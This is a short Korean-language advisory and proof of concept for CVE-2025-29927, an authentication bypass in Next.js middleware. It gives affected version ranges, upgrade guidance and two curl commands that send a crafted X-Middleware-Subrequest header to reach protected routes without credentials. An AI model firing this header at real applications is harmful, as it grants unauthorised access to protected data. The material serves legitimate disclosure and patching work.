
CVE-2025-29927에 대한 개념 증명 익스플로잇으로, x-middleware-subrequest 헤더를 통한 Next.js 미들웨어의 인증 우회를 시연하며, 영향을 받는 버전 및 완화 지침을 포함합니다.
클럽 앞에 경비원이 있다고 상상해 보세요. 그런데 그에게 "나 이미 들어왔어"라고 말하면 그는 확인 없이 통과시켜 줍니다. 이것이 바로 CVE-2025-29927입니다.
Next.js의 미들웨어는 요청이 처리되기 전에 실행되므로 인증을 처리하기에 이상적인 위치입니다. Next.js는 재귀 요청을 방지하고 무한 루프를 피하기 위해 내부 x-middleware-subrequest 헤더를 사용합니다. 이 취약점은 보호된 경로에 도달하기 전에 인증과 같은 중요한 보안 검사를 포함하여 미들웨어 실행 전체를 우회하거나 건너뛸 수 있음을 보여줍니다.
| 브랜치 | 수정된 버전 |
|---|---|
| 15.x | < 15.2.3 |
| 14.x | < 14.2.25 |
| 13.x | < 13.5.9 |
수천 또는 수백만 개의 애플리케이션이 패치되지 않은 Next.js 버전에서 실행되고 있습니다. 완화되지 않으면 이 취약점은 자격 증명이 전혀 필요 없이 누구나 보호된 경로에 접근할 수 있게 합니다.
curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3000/private-area
응답은 어떠한 인증도 없이 보호된 페이지를 반환합니다.
curl -s "http://<target>/<private-area>" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
Next.js를 패치된 버전으로 업그레이드하세요:
15.x → 15.2.3 이상14.x → 14.2.25 이상13.x → 13.5.9 이상